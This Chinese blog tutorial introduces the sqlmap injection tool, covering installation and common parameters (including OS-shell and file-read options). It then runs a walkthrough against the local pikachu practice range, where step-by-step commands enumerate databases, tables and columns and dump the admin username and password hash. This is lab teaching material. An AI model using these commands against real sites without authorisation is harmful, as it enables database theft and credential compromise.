Sqlmap的安装和使用

Sqlmap的介绍与安装

什么是Sqlmap

Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。

Sqlmap是开源的自动化SQL注入工具,由Python写成,具有以下特点:

1、完全支持MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。

2、完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。

3、在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。

4、支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列

5、支持自动识别密码哈希格式并通过字典破解密码哈希。

6、支持完全地下载某个数据库中的某个表、也可以只下载某个表中的某几列。

7、支持在数据库管理系统中搜索指定的数据库名、表名和列名。

8、当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持下载或上传文件。

9、当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持执行任意命令并回显标准输出。

安装Sqlmap

安装环境

因为Sqlmap是用python语言编写的,所以我们在使用sqlmap之前要先安装python环境,这里我们使用的是Python3。


关于python环境安装还有不清楚的朋友可以去看一下我们之前发的一篇文章,里面详细的介绍了Java从安装到配置环境的详细步骤。

安装Sqlmap

python环境安装成功后下载sqlmap工具,这里推荐官网下载,官网地址:sqlmap: automatic SQL injection and database takeover tool

下载并解压后打开文件所在位置,在空白处摁住shift键并点鼠标右键打开shell。

在打开的shell中输入下列命令:

python sqlmap.py -h

出现以下界面则说明python环境和sqlmap工具已经配置成功。

创建Sqlmap快捷方式

这样每次使用sqlmap时需要到文件当前路径打开命令窗口的方式太麻烦,我们可以在电脑桌面创建sqlmap快捷方式来方便我们使用,创建步骤如下:
在桌面空白位置位置右键-新建-快捷方式


在对象位置处输入 C:\windows\system32\cmd.exe


点击下一步,给快捷方式取名为sqlmap,点击完成会在桌生成一个名为sqlmap的快捷方式,右键快件方式图标点击属性。


在起始位置处输入sqlmap文件的绝对路径。(注:绝对路径指的是文件所在位置的全路径,找到文件点击属性即可查看)

点击确认,完成sqlmap快捷方式的创建,使用sqlmap时双击sqlmap快捷方式即可打开命令行窗口。

Sqlmap的使用

Sqlmap参数

下面是一些比较常用的参数

-h                  输出参数说明
-hh                 输出详细的参数说明
-v                  输出级别(0~6,默认1)
-u url              指定url
--data=DATA         该参数指定的数据会被作为POST数据提交
-r file.txt         常用于POST注入或表单提交时注入
-p / --skip         指定/跳过测试参数
--cookie            设置cookie
--force-ssl         强制使用SSL
--threads           指定线程并发数
--prefix            指定前缀
--suffix            指定后缀
--level             检测级别(1~5,默认1)
--risk              风险等级(1~4,默认1)
--all               列举所有可访问的数据(不推荐)
--banner            列举数据库系统的信息等
--current-user      输出当前用户
--current-db        输出当前所在数据库
--hostname          输出服务器主机名
--is-dba            检测当前用户是否为管理员
--users             输出数据库系统的所有用户
--dbs               输出数据库系统的所有数据库
-D DB               指定数据库
--tables            在-D情况下输出库中所有表名
-T table            在-D情况下指定数据表
--columns           在-D -T情况下输出表中所有列名
-C column           在-D -T情况下输出某列数据的值
--dump              拉取数据存放到本地
--dump-all          拉取所有可访问数据存放到本地
--count             输出数据条目数量
--search            搜索数据库名、表明、列名,需要与-D -T或-C 联用
--sql-query         执行任意的SQL语句
--sql-shell         使用交互式SQL语句执行环境
--flie-read         读取文件
--file-write        上传文件(指定本地路径)
--file-dest         上传文件(指定目标机器路径)
--os-cmd            执行任意系统命令
--os-shell          使用交互式shell执行命令
--batch             所有要求输入都选取默认值
--wizard            初学者向导

下面我们通过pikachu靶场的SQL-Inject部分题目来练习Sqlmap的使用

SQL-Inject

概述

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!

数字型注入(post)

首先我们要判断这里的注入类型。

sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --batch --forms
//检测get型和post型注入

可以看出返回的结果是post,而使用sqlmap跑post方式时的格式为:

sqlmap.py -u "<url>" --data="<post提交的参数>" -<参数>

这里提交的参数为id=1&submit=%E6%9F%A5%E8%AF%A2

使用Sqlmap跑数据库

sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" - f --dbms mysql --dbs --batch
 #--dbms 默认情况下会探测web应用后端的数据库是什么;该步骤--dbms mysql 制定了数据库类型为myslq数据库
 #--dbs 当用户有权读取时,列出所有的数据库
 #--batch 该参数使用后不需要用户输入,将会使用sqlmap给的默认提示走下去

可以得到两个数据库的名称:information_schema,pikachu

查询数据库pikachu下面的表

sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu --tables --batch
# -D pikachu 指定数据库pikachu
#--tables 当有权限读取pikachu数据库中的表tables的时候,读取出表

可以得到pikachu数据库下的表:member,httpinfo,message,users,xssblind

再来获取获取表users中的列

sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -
f --dbms mysql -D pikachu -T users --columns --batch
#-T users 指定表名users
#--columns 当有权限读取表users中的列的时候读取表users中的列

就可以得到users表中的列名:level,id,password,username

获取列username和password中的字段内容

sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -
f --dbms mysql -D pikachu -T users -C username,password --dump --batch
#-C username,password 指定读取列username和password中的字段内容
#--dump 抛出前面指定内容

可以得到用户名admin,及其对应的密码的MD5:e10adc3949ba59abbe56e057f20f883e,以及解码后的明文:123456

微信公众号二维码

扫一扫关注CatalyzeSec公众号
我们一起来从零开始学习网络安全

  • 29
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值